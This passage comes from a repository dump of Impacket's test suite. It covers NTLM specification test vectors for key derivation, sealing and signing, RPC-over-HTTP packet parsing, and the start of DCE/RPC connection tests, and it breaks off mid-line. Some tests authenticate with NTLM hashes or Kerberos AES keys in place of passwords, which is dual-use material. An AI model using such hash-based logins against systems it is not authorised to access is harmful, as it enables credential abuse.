bytearray(b'\\x75\\x37\\xf8\\x03\\xae\\x36\\x71\\x28\\xca\\x45\\x82\\x04\\xbd\\xe7\\xca\\xf8\\x1e\\x97\\xed\\x26\\x83\\x26\\x72\\x32'))\n        print(\"\\n\")\n        print(\"AUTHENTICATE MESSAGE\")\n        ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)\n        ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(self.user, self.password, self.serverChallenge)\n        ntlmChallengeResponse['flags'] = flags2\n        ntlmChallengeResponse['host_name'] = self.workstationName.encode('utf-16le')\n        ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le')\n        ntlmChallengeResponse['lanman'] = lmResponse\n        ntlmChallengeResponse['ntlm'] = ntResponse\n        hexdump(ntlmChallengeResponse.getData())\n        self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\\x00\\x03\\x00\\x00\\x00\\x18\\x00\\x18\\x00|\\x00\\x00\\x00\\x18\\x00\\x18\\x00\\x94\\x00\\x00\\x00\\x0c\\x00\\x0c\\x00X\\x00\\x00\\x00\\x08\\x00\\x08\\x00d\\x00\\x00\\x00\\x10\\x00\\x10\\x00l\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xac\\x00\\x00\\x00\\xb3\\x82\\x02\\xe2D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00U\\x00s\\x00e\\x00r\\x00C\\x00O\\x00M\\x00P\\x00U\\x00T\\x00E\\x00R\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00u7\\xf8\\x03\\xae6q(\\xcaE\\x82\\x04\\xbd\\xe7\\xca\\xf8\\x1e\\x97\\xed&\\x83&r2'))\n\n        print(\"\\n\")\n        print(\"4.2.3.4 GSS_WrapEx\")\n        print(\"Plaintext\")\n        hexdump(self.plaintext)\n        print(\"\\n\")\n        print(\"Output of SEAL()\")\n\n        exportedSessionKey = keyExchangeKey\n        clientSigningKey = ntlm.SIGNKEY(flags, exportedSessionKey)\n        clientSealingKey = ntlm.SEALKEY(flags, exportedSessionKey)\n\n        from Cryptodome.Cipher import ARC4\n        cipher = ARC4.new(clientSigningKey)\n\n        cipher2 = ARC4.new(clientSealingKey)\n        client_sealing_h = cipher2.encrypt\n        print(\"SEALKEY()\")\n        hexdump(clientSealingKey)\n        print(\"\\n\")\n        print(\"SIGNKEY()\")\n        hexdump(clientSigningKey)\n        print(\"\\n\")\n        print(\"Sealed Data\")\n        sealedMsg, signature = ntlm.SEAL(flags, clientSealingKey, clientSigningKey,\n                                         self.plaintext, self.plaintext, self.seqNum, client_sealing_h)\n        #signature = ntlm.SIGN(flags, clientSigningKey, plaintext, seqNum, client_sealing_h)\n        hexdump(sealedMsg)\n        # ToDo: Fix this\n        #self.assertEqual(ntResponse, bytearray(b'\\xa0\\x23\\x72\\xf6\\x53\\x02\\x73\\xf3\\xaa\\x1e\\xb9\\x01\\x90\\xce\\x52\\x00\\xc9\\x9d'))\n        print(\"\\n\")\n        print(\"Signature\")\n        hexdump(signature.getData())\n        # ToDo: Fix this\n        #self.assertEqual(ntResponse, bytearray(b'\\x01\\x00\\x00\\x00\\xff\\x2a\\xeb\\x52\\xf6\\x81\\x79\\x3a\\x00\\x00\\x00\\x00')\n        print(\"\\n\")\n\n    def test_ntlmv2(self):\n        print(\"####### 4.2.4 NTLMv2 Authentication\")\n        ntlm.USE_NTLMv2 = True\n        serverName = b('\\x02\\x00\\x0c\\x00\\x44\\x00\\x6f\\x00\\x6d\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x01\\x00\\x0c\\x00\\x53\\x00\\x65\\x00\\x72\\x00\\x76\\x00\\x65\\x00\\x72\\x00\\x00\\x00\\x00\\x00')\n        # Still the aTime won't be set to zero. that must be changed in ntlm.computeResponseNTLM2. Gotta make this more automated\n\n        flags = ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | \\\n                ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \\\n                ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY | ntlm.NTLMSSP_TARGET_TYPE_SERVER | \\\n                ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | \\\n                ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE\n        print(\"Flags\")\n        hexdump(struct.pack('<L',flags))\n        print(\"\\n\")\n        print(\"4.2.4.1.1 NTOWFv2 and LMOWFv2\")\n        res = ntlm.NTOWFv2(self.user,self.password,self.domain)\n        hexdump(res)\n        self.assertEqual(res, bytearray(b'\\x0c\\x86\\x8a@;\\xfdz\\x93\\xa3\\x00\\x1e\\xf2.\\xf0.?'))\n        print(\"\\n\")\n        print(\"\\n\")\n        print(\"4.2.4.1.2 Session Base Key\")\n        ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv2(flags, self.serverChallenge,\n                            self.clientChallenge, serverName, self.domain, self.user, self.password, '', '' )\n        hexdump(sessionBaseKey)\n        self.assertEqual(sessionBaseKey, bytearray(b'\\xe0\\x02\\x92\\x35\\xf1\\x18\\x08\\xe6\\x12\\xea\\xa1\\xac\\xe6\\x13\\x78\\x5f'))\n        print(\"\\n\")\n\n        print(\"4.2.4.2.1 LMv2 Response\")\n        hexdump(lmResponse)\n        self.assertEqual(lmResponse, bytearray(b'\\x86\\xc3P\\x97\\xac\\x9c\\xec\\x10%TvJW\\xcc\\xcc\\x19\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'))\n        print(\"\\n\")\n        print(\"4.2.4.2.2 NTLMv2 Response\")\n        hexdump(ntResponse[:16])\n        self.assertEqual(ntResponse[:16], bytearray(b'\\xb2\\x32\\x05\\x0b\\x98\\xe5\\xf4\\xe3\\x36\\xbd\\x18\\x79\\x21\\xa2\\x7b\\xb2'))\n        print(\"\\n\")\n        print(\"4.2.4.2.3 Encrypted Session Key\")\n        keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','')\n        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)\n        hexdump(encryptedSessionKey)\n        self.assertEqual(encryptedSessionKey, bytearray(b'\\x18\\x6c\\xaf\\xee\\x66\\x20\\x16\\x9d\\xd9\\x8c\\x4d\\x1a\\x22\\x56\\x71\\x4c'))\n        print(\"\\n\")\n\n        print(\"AUTHENTICATE MESSAGE\")\n        encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey)\n        ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(self.user, self.password, self.serverChallenge)\n        ntlmChallengeResponse['flags'] = flags\n        ntlmChallengeResponse['host_name'] = self.workstationName.encode('utf-16le')\n        ntlmChallengeResponse['domain_name'] = self.domain.encode('utf-16le')\n        ntlmChallengeResponse['lanman'] = lmResponse\n        ntlmChallengeResponse['ntlm'] = ntResponse\n        ntlmChallengeResponse['session_key'] = encryptedSessionKey\n        hexdump(ntlmChallengeResponse.getData())\n        self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\\x00\\x03\\x00\\x00\\x00\\x18\\x00\\x18\\x00|\\x00\\x00\\x00P\\x00P\\x00\\x94\\x00\\x00\\x00\\x0c\\x00\\x0c\\x00X\\x00\\x00\\x00\\x08\\x00\\x08\\x00d\\x00\\x00\\x00\\x10\\x00\\x10\\x00l\\x00\\x00\\x00\\x10\\x00\\x10\\x00\\xe4\\x00\\x00\\x003\\x82\\x8a\\xe2D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00U\\x00s\\x00e\\x00r\\x00C\\x00O\\x00M\\x00P\\x00U\\x00T\\x00E\\x00R\\x00\\x86\\xc3P\\x97\\xac\\x9c\\xec\\x10%TvJW\\xcc\\xcc\\x19\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xb22\\x05\\x0b\\x98\\xe5\\xf4\\xe36\\xbd\\x18y!\\xa2{\\xb2\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x00\\x00\\x02\\x00\\x0c\\x00D\\x00o\\x00m\\x00a\\x00i\\x00n\\x00\\x01\\x00\\x0c\\x00S\\x00e\\x00r\\x00v\\x00e\\x00r\\x00\\x00\\x00\\x00\\x00\\x18l\\xaf\\xeef \\x16\\x9d\\xd9\\x8cM\\x1a\"VqL'))\n        print(\"\\n\")\n        print(\"4.2.4.4 GSS_WrapEx\")\n        print(\"Plaintext\")\n        hexdump(self.plaintext)\n        print(\"\\n\")\n        print(\"Output of SEAL()\")\n\n        exportedSessionKey = self.randomSessionKey\n        clientSigningKey = ntlm.SIGNKEY(flags, exportedSessionKey)\n        clientSealingKey = ntlm.SEALKEY(flags, exportedSessionKey)\n\n        from Cryptodome.Cipher import ARC4\n\n        cipher2 = ARC4.new(clientSealingKey)\n        client_sealing_h = cipher2.encrypt\n        print(\"SEALKEY()\")\n        hexdump(clientSealingKey)\n        self.assertEqual(clientSealingKey, bytearray(b'Y\\xf6\\x00\\x97<\\xc4\\x96\\n%H\\n|\\x19nLX'))\n        print(\"\\n\")\n        print(\"SIGNKEY()\")\n        hexdump(clientSigningKey)\n        self.assertEqual(clientSigningKey, bytearray(b'G\\x88\\xdc\\x86\\x1bG\\x82\\xf3]C\\xfd\\x98\\xfe\\x1a-9'))\n        print(\"\\n\")\n        print(\"Sealed Data\")\n        sealedMsg, signature = ntlm.SEAL(flags, clientSealingKey, clientSigningKey,\n                                         self.plaintext, self.plaintext, self.seqNum, client_sealing_h)\n        #signature = ntlm.SIGN(flags, clientSigningKey, plaintext, seqNum, client_sealing_h)\n        hexdump(sealedMsg)\n        self.assertEqual(sealedMsg, bytearray(b'T\\xe5\\x01e\\xbf\\x196\\xdc\\x99` \\xc1\\x81\\x1b\\x0f\\x06\\xfb_'))\n        print(\"\\n\")\n        print(\"Signature\")\n        hexdump(signature.getData())\n        self.assertEqual(signature.getData(), bytearray(b'\\x01\\x00\\x00\\x00\\x00\\xc1a\\xa1\\x1e@\\x03\\x9f\\x00\\x00\\x00\\x00'))\n        #print (repr(bytearray(str(signature))))\n        #raise\n        print(\"\\n\")\n\n    def test_av_pairs_container_protocol(self):\n        av_pairs = ntlm.AV_PAIRS()\n        av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = self.domain.encode('utf-16le')\n\n        self.assertIn(ntlm.NTLMSSP_AV_DOMAINNAME,av_pairs)\n        self.assertNotIn(ntlm.NTLMSSP_AV_DNS_DOMAINNAME,av_pairs)\n        self.assertEqual(list(av_pairs), [ntlm.NTLMSSP_AV_DOMAINNAME])\n\n    def __pack_and_parse(self, message, expected):\n        data = message.getData()\n        hexdump(data)\n        self.assertEqual(data, expected)\n        parsed = ntlm.NTLMAuthNegotiate()\n        parsed.fromString(data)\n        return parsed\n\n    def test_refactor_negotiate_message(self):\n        print('#### Pack and parse, without version')\n        negoMsgToPack = ntlm.NTLMAuthNegotiate()\n        negoMsgParsed = self.__pack_and_parse(negoMsgToPack, bytearray(\n            b'NTLMSSP\\x00\\x01\\x00\\x00\\x001\\x02\\x00`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n        ))\n        self.assertEqual(negoMsgParsed['flags'] & ntlm.NTLMSSP_NEGOTIATE_VERSION, 0)\n        self.assertEqual(negoMsgParsed['os_version'], '')\n\n        print('#### Pack and parse, with version')\n        major, minor, build = 10, 0, 19041\n        version = ntlm.VERSION()\n        version['ProductMajorVersion'], version['ProductMinorVersion'], version['ProductBuild'] = major, minor, build\n        negoMsgToPack = ntlm.NTLMAuthNegotiate()\n        negoMsgToPack['os_version'] = version\n        negoMsgParsed = self.__pack_and_parse(negoMsgToPack, bytearray(\n            b'NTLMSSP\\x00\\x01\\x00\\x00\\x001\\x02\\x00b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n            b'\\x0a\\x00aJ\\x00\\x00\\x00\\x0f'\n        ))\n        self.assertEqual(negoMsgParsed['flags'] & ntlm.NTLMSSP_NEGOTIATE_VERSION, ntlm.NTLMSSP_NEGOTIATE_VERSION)\n        self.assertEqual(negoMsgParsed['os_version']['ProductMajorVersion'], major)\n        self.assertEqual(negoMsgParsed['os_version']['ProductMinorVersion'], minor)\n        self.assertEqual(negoMsgParsed['os_version']['ProductBuild'], build)\n\n        print('#### Try to set the NTLMSSP_NEGOTIATE_VERSION flag without specifying os_version')\n        negoMsgToPack = ntlm.NTLMAuthNegotiate()\n        negoMsgToPack['flags'] |= ntlm.NTLMSSP_NEGOTIATE_VERSION\n        self.assertRaises(Exception, negoMsgToPack.getData)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_rpch.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import division\nfrom __future__ import print_function\nfrom struct import unpack\n\nimport pytest\nimport unittest\nfrom tests import RemoteTestCase\n\nfrom impacket.dcerpc.v5 import transport, epm, rpch\nfrom impacket.dcerpc.v5.ndr import NULL\n\n@pytest.mark.remote\nclass RPCHTest(RemoteTestCase, unittest.TestCase):\n\n    def setUp(self):\n        super(RPCHTest, self).setUp()\n        self.set_transport_config()\n\n    def test_1(self):\n        # Direct connection to ncacn_http service, RPC over HTTP v1\n        # No authentication\n        stringbinding = 'ncacn_http:%s' % self.machine\n        rpctransport = transport.DCERPCTransportFactory(stringbinding)\n\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(epm.MSRPC_UUID_PORTMAP)\n\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 10\n\n        dce.request(request)\n        dce.disconnect()\n\n        # Reconnecting\n        dce.connect()\n        dce.bind(epm.MSRPC_UUID_PORTMAP)\n\n        dce.request(request)\n        dce.disconnect()\n\n\nclass RPCHLocalTest(unittest.TestCase):\n\n    def test_2(self):\n        # CONN/A1\n        resp = b'\\x05\\x00\\x14\\x03\\x10\\x00\\x00\\x00\\x4c\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x00\\x00\\x04\\x00\\x06\\x00\\x00\\x00\\x01\\x00\\x00\\x00' + \\\n               b'\\x03\\x00\\x00\\x00\\xb0\\xf6\\xaf\\x3d\\x77\\x62\\x98\\x07\\x9b\\x21' + \\\n               b'\\x54\\x6e\\xec\\xf4\\x22\\x53\\x03\\x00\\x00\\x00\\x3a\\x24\\x7a\\x37' + \\\n               b'\\x6d\\xc1\\xed\\x2c\\x68\\x5d\\x34\\x35\\x13\\x46\\x43\\x25\\x00\\x00' + \\\n               b'\\x00\\x00\\x00\\x00\\x04\\x00'\n\n        packet = rpch.RTSHeader(resp)\n        packet.dump()\n\n        pduData = packet['pduData']\n        numberOfCommands = packet['NumberOfCommands']\n\n        self.assertEqual(numberOfCommands, 4)\n        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_NONE)\n        self.assertEqual(packet['frag_len'], 76)\n        self.assertEqual(len(pduData), 56)\n\n        server_cmds = []\n        while numberOfCommands > 0:\n            numberOfCommands -= 1\n\n            cmd_type = unpack('<L', pduData[:4])[0]\n            cmd = rpch.COMMANDS[cmd_type](pduData)\n            server_cmds.append(cmd)\n            pduData = pduData[len(cmd):]\n\n        for cmd in server_cmds:\n            cmd.dump()\n\n        self.assertEqual(server_cmds[0].getData(), rpch.Version().getData())\n        receiveWindowSize = rpch.ReceiveWindowSize()\n        receiveWindowSize['ReceiveWindowSize'] = 262144\n\n        self.assertEqual(server_cmds[3].getData(), receiveWindowSize.getData())\n\n        cookie = rpch.Cookie()\n        cookie['Cookie'] = b'\\xb0\\xf6\\xaf=wb\\x98\\x07\\x9b!Tn\\xec\\xf4\"S'\n\n        self.assertEqual(server_cmds[1].getData(), cookie.getData())\n\n    def test_3(self):\n        # CONN/A3\n        resp = b'\\x05\\x00\\x14\\x03\\x10\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\xc0\\xd4\\x01\\x00'\n\n        packet = rpch.RTSHeader(resp)\n        packet.dump()\n\n        pduData = packet['pduData']\n        numberOfCommands = packet['NumberOfCommands']\n\n        server_cmds = []\n        while numberOfCommands > 0:\n            numberOfCommands -= 1\n\n            cmd_type = unpack('<L', pduData[:4])[0]\n            cmd = rpch.COMMANDS[cmd_type](pduData)\n            server_cmds.append(cmd)\n            pduData = pduData[len(cmd):]\n\n        for cmd in server_cmds:\n            cmd.dump()\n\n        connectionTimeout = rpch.ConnectionTimeout()\n        connectionTimeout['ConnectionTimeout'] = 120000\n\n        self.assertEqual(server_cmds[0].getData(), connectionTimeout.getData())\n\n    def test_4(self):\n        # PING\n        resp = b'\\x05\\x00\\x14\\x03\\x10\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x01\\x00\\x00\\x00'\n\n        packet = rpch.RTSHeader(resp)\n        packet.dump()\n\n        pduData = packet['pduData']\n        numberOfCommands = packet['NumberOfCommands']\n\n        server_cmds = []\n        while numberOfCommands > 0:\n            numberOfCommands -= 1\n\n            cmd_type = unpack('<L', pduData[:4])[0]\n            cmd = rpch.COMMANDS[cmd_type](pduData)\n            server_cmds.append(cmd)\n            pduData = pduData[len(cmd):]\n\n        for cmd in server_cmds:\n            cmd.dump()\n\n        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_PING)\n\n    def test_5(self):\n        # CONN/C2\n        resp = b'\\x05\\x00\\x14\\x03\\x10\\x00\\x00\\x00\\x2c\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x00\\x00\\x03\\x00\\x06\\x00\\x00\\x00\\x01\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\xc0\\xd4' + \\\n               b'\\x01\\x00'\n\n        packet = rpch.RTSHeader(resp)\n        packet.dump()\n\n        pduData = packet['pduData']\n        numberOfCommands = packet['NumberOfCommands']\n\n        server_cmds = []\n        while numberOfCommands > 0:\n            numberOfCommands -= 1\n\n            cmd_type = unpack('<L', pduData[:4])[0]\n            cmd = rpch.COMMANDS[cmd_type](pduData)\n            server_cmds.append(cmd)\n            pduData = pduData[len(cmd):]\n\n        for cmd in server_cmds:\n            cmd.dump()\n\n        connectionTimeout = rpch.ConnectionTimeout()\n        connectionTimeout['ConnectionTimeout'] = 120000\n\n        self.assertEqual(server_cmds[2].getData(), connectionTimeout.getData())\n\n        receiveWindowSize = rpch.ReceiveWindowSize()\n        receiveWindowSize['ReceiveWindowSize'] = 65536\n\n        self.assertEqual(server_cmds[1].getData(), receiveWindowSize.getData())\n        self.assertEqual(server_cmds[0].getData(), rpch.Version().getData())\n\n    def test_6(self):\n        # FlowControlAckWithDestination\n        resp = b'\\x05\\x00\\x14\\x03\\x10\\x00\\x00\\x00\\x38\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x02\\x00\\x02\\x00\\x0d\\x00\\x00\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x01\\x00\\x00\\x00\\x92\\x80\\x00\\x00\\x00\\x00\\x01\\x00\\xe3\\x79' + \\\n               b'\\x6e\\x7c\\xbc\\x68\\xa9\\x4d\\xab\\x8d\\x82\\x40\\xa0\\x05\\x72\\x32'\n\n        packet = rpch.RTSHeader(resp)\n        packet.dump()\n\n        pduData = packet['pduData']\n        numberOfCommands = packet['NumberOfCommands']\n\n        server_cmds = []\n        while numberOfCommands > 0:\n            numberOfCommands -= 1\n\n            cmd_type = unpack('<L', pduData[:4])[0]\n            cmd = rpch.COMMANDS[cmd_type](pduData)\n            server_cmds.append(cmd)\n            pduData = pduData[len(cmd):]\n\n        for cmd in server_cmds:\n            cmd.dump()\n\n        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_OTHER_CMD)\n\n        ack = rpch.Ack()\n        ack['BytesReceived'] = 32914\n        ack['AvailableWindow'] = 65536\n        ack['ChannelCookie'] = rpch.RTSCookie()\n        ack['ChannelCookie']['Cookie'] = b'\\xe3yn|\\xbch\\xa9M\\xab\\x8d\\x82@\\xa0\\x05r2'\n\n        self.assertEqual(server_cmds[1]['Ack'].getData(), ack.getData())\n\n    def test_7(self):\n        # CONN/B2, IPv4\n        resp = b'\\x05\\x00\\x14\\x03\\x10\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x08\\x00\\x07\\x00\\x06\\x00\\x00\\x00\\x01\\x00\\x00\\x00' + \\\n               b'\\x03\\x00\\x00\\x00\\x61\\xec\\x8b\\xb3\\x40\\x28\\xa8\\x46\\xba\\xfd' + \\\n               b'\\x90\\xcf\\x6d\\x31\\xdc\\x29\\x03\\x00\\x00\\x00\\x20\\xce\\x94\\x22' + \\\n               b'\\x30\\x83\\x1b\\x45\\x94\\xea\\x0d\\x7e\\x05\\xd2\\xa8\\x5a\\x00\\x00' + \\\n               b'\\x00\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\xc0\\xd4\\x01\\x00' + \\\n               b'\\x0c\\x00\\x00\\x00\\xdf\\x28\\xb4\\x20\\x77\\xa4\\x70\\x42\\xb1\\xd1' + \\\n               b'\\x4a\\x03\\x49\\x5f\\x6b\\x7b\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x00\\x00\\xc0\\xa8\\x02\\xfe\\x00\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00'\n\n        packet = rpch.RTSHeader(resp)\n        packet.dump()\n\n        pduData = packet['pduData']\n        numberOfCommands = packet['NumberOfCommands']\n\n        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_IN_CHANNEL)\n\n        server_cmds = []\n        while numberOfCommands > 0:\n            numberOfCommands -= 1\n\n            cmd_type = unpack('<L', pduData[:4])[0]\n            cmd = rpch.COMMANDS[cmd_type](pduData)\n            server_cmds.append(cmd)\n            pduData = pduData[len(cmd):]\n\n        for cmd in server_cmds:\n            cmd.dump()\n\n        # TODO: Check ClientAddress. Why is it in the padding?!\n\n    def test_8(self):\n        # CONN/A2\n        resp = b'\\x05\\x00\\x14\\x03\\x10\\x00\\x00\\x00\\x54\\x00\\x00\\x00\\x00\\x00' + \\\n               b'\\x00\\x00\\x10\\x00\\x05\\x00\\x06\\x00\\x00\\x00\\x01\\x00\\x00\\x00' + \\\n               b'\\x03\\x00\\x00\\x00\\x61\\xec\\x8b\\xb3\\x40\\x28\\xa8\\x46\\xba\\xfd' + \\\n               b'\\x90\\xcf\\x6d\\x31\\xdc\\x29\\x03\\x00\\x00\\x00\\xbc\\x38\\x10\\x35' + \\\n               b'\\xa7\\xf0\\x3d\\x43\\x9c\\x3f\\x44\\x85\\x6e\\xf1\\xc3\\xb0\\x04\\x00' + \\\n               b'\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00'\n\n        packet = rpch.RTSHeader(resp)\n        packet.dump()\n\n        pduData = packet['pduData']\n        numberOfCommands = packet['NumberOfCommands']\n\n        self.assertEqual(packet['Flags'], rpch.RTS_FLAG_OUT_CHANNEL)\n\n        server_cmds = []\n        while numberOfCommands > 0:\n            numberOfCommands -= 1\n\n            cmd_type = unpack('<L', pduData[:4])[0]\n            cmd = rpch.COMMANDS[cmd_type](pduData)\n            server_cmds.append(cmd)\n            pduData = pduData[len(cmd):]\n\n        for cmd in server_cmds:\n            cmd.dump()\n\n        channelLifetime = rpch.ChannelLifetime()\n        channelLifetime['ChannelLifetime'] = 1073741824\n\n        self.assertEqual(server_cmds[-2].getData(), channelLifetime.getData())\n\n\n# Process command-line arguments.\nif __name__ == \"__main__\":\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/SMB_RPC/test_rpcrt.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport pytest\nimport unittest\nfrom tests import RemoteTestCase\n\nfrom impacket.dcerpc.v5.ndr import NDRCALL\nfrom impacket.dcerpc.v5 import transport, epm, samr\nfrom impacket.dcerpc.v5.dtypes import NULL\nfrom impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, \\\n    RPC_C_AUTHN_LEVEL_NONE, RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_WINNT\nfrom impacket.dcerpc.v5.dtypes import RPC_UNICODE_STRING\n\n\n# aimed at testing just the DCERPC engine, not the particular\n# endpoints (we should do specific tests for endpoints)\n# here we're using EPM just because we need one, and it's the \n# easiest one\nclass RPCRTTests(RemoteTestCase):\n\n    def connectDCE(self, username, password, domain, lm='', nt='', aes_key='', TGT=None, TGS=None, tfragment=0,\n                   dceFragment=0, auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_NONE, dceAuth=True,\n                   doKerberos=False, bind=epm.MSRPC_UUID_PORTMAP):\n        rpctransport = transport.DCERPCTransportFactory(self.stringBinding)\n\n        if hasattr(rpctransport, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n            rpctransport.set_credentials(username, password, domain, lm, nt, aes_key, TGT, TGS)\n            rpctransport.set_kerberos(doKerberos, kdcHost=self.machine)\n\n        rpctransport.set_max_fragment_size(tfragment)\n        rpctransport.setRemoteName(self.serverName)\n        rpctransport.setRemoteHost(self.machine)\n        dce = rpctransport.get_dce_rpc()\n        dce.set_max_fragment_size(dceFragment)\n        if dceAuth is True:\n            dce.set_credentials(*(rpctransport.get_credentials()))\n        dce.connect()\n        dce.set_auth_type(auth_type)\n        dce.set_auth_level(auth_level)\n        dce.bind(bind)\n\n        return dce\n\n    def test_connection(self):\n        dce = self.connectDCE(self.username, self.password, self.domain, dceAuth=False)\n        dce.disconnect()\n\n    def test_connectionHashes(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=False)\n        dce.disconnect()\n\n    def test_dceAuth(self):\n        dce = self.connectDCE(self.username, self.password, self.domain, dceAuth=True)\n        epm.hept_lookup(self.machine)\n        dce.disconnect()\n\n    def test_dceAuthKerberos(self):\n        dce = self.connectDCE(self.username, self.password, self.domain, dceAuth=True, doKerberos=True)\n        epm.hept_lookup(self.machine)\n        dce.disconnect()\n\n    def test_dceAuthHasHashes(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=True)\n        epm.hept_lookup(self.machine)\n        dce.disconnect()\n\n    def test_dceAuthHasHashesKerberos(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceAuth=True, doKerberos=True)\n        epm.hept_lookup(self.machine)\n        dce.disconnect()\n\n    def test_dceAuthHasAes128Kerberos(self):\n        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_128, dceAuth=True, doKerberos=True)\n        epm.hept_lookup(self.machine)\n        dce.disconnect()\n\n    def test_dceAuthHasAes256Kerberos(self):\n        dce = self.connectDCE(self.username, '', self.domain, '', '', self.aes_key_256, dceAuth=True, doKerberos=True)\n        epm.hept_lookup(self.machine)\n        dce.disconnect()\n\n    def test_dceTransportFragmentation(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, tfragment=1, dceAuth=True, doKerberos=False)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_dceFragmentation(self):\n        dce = self.connectDCE(self.username, '', self.domain, self.lmhash, self.nthash, dceFragment=1, dceAuth=True, doKerberos=False)\n        request = epm.ept_lookup()\n        request['inquiry_type'] = epm.RPC_C_EP_ALL_ELTS\n        request['object'] = NULL\n        request['Ifid'] = NULL\n        request['vers_option'] = epm.RPC_C_VERS_ALL\n        request['max_ents'] = 499\n        dce.request(request)\n        dce.disconnect()\n\n    def test_bigRequestMustFragment(self):\n        class dummyCall(NDRCALL):\n            opnum = 2\n            structure = (\n                ('Name', RPC_UNICODE_STRING),\n            )\n        oldBinding = self.stringBinding\n        self.stringBinding = epm.hept_map(self.machine, 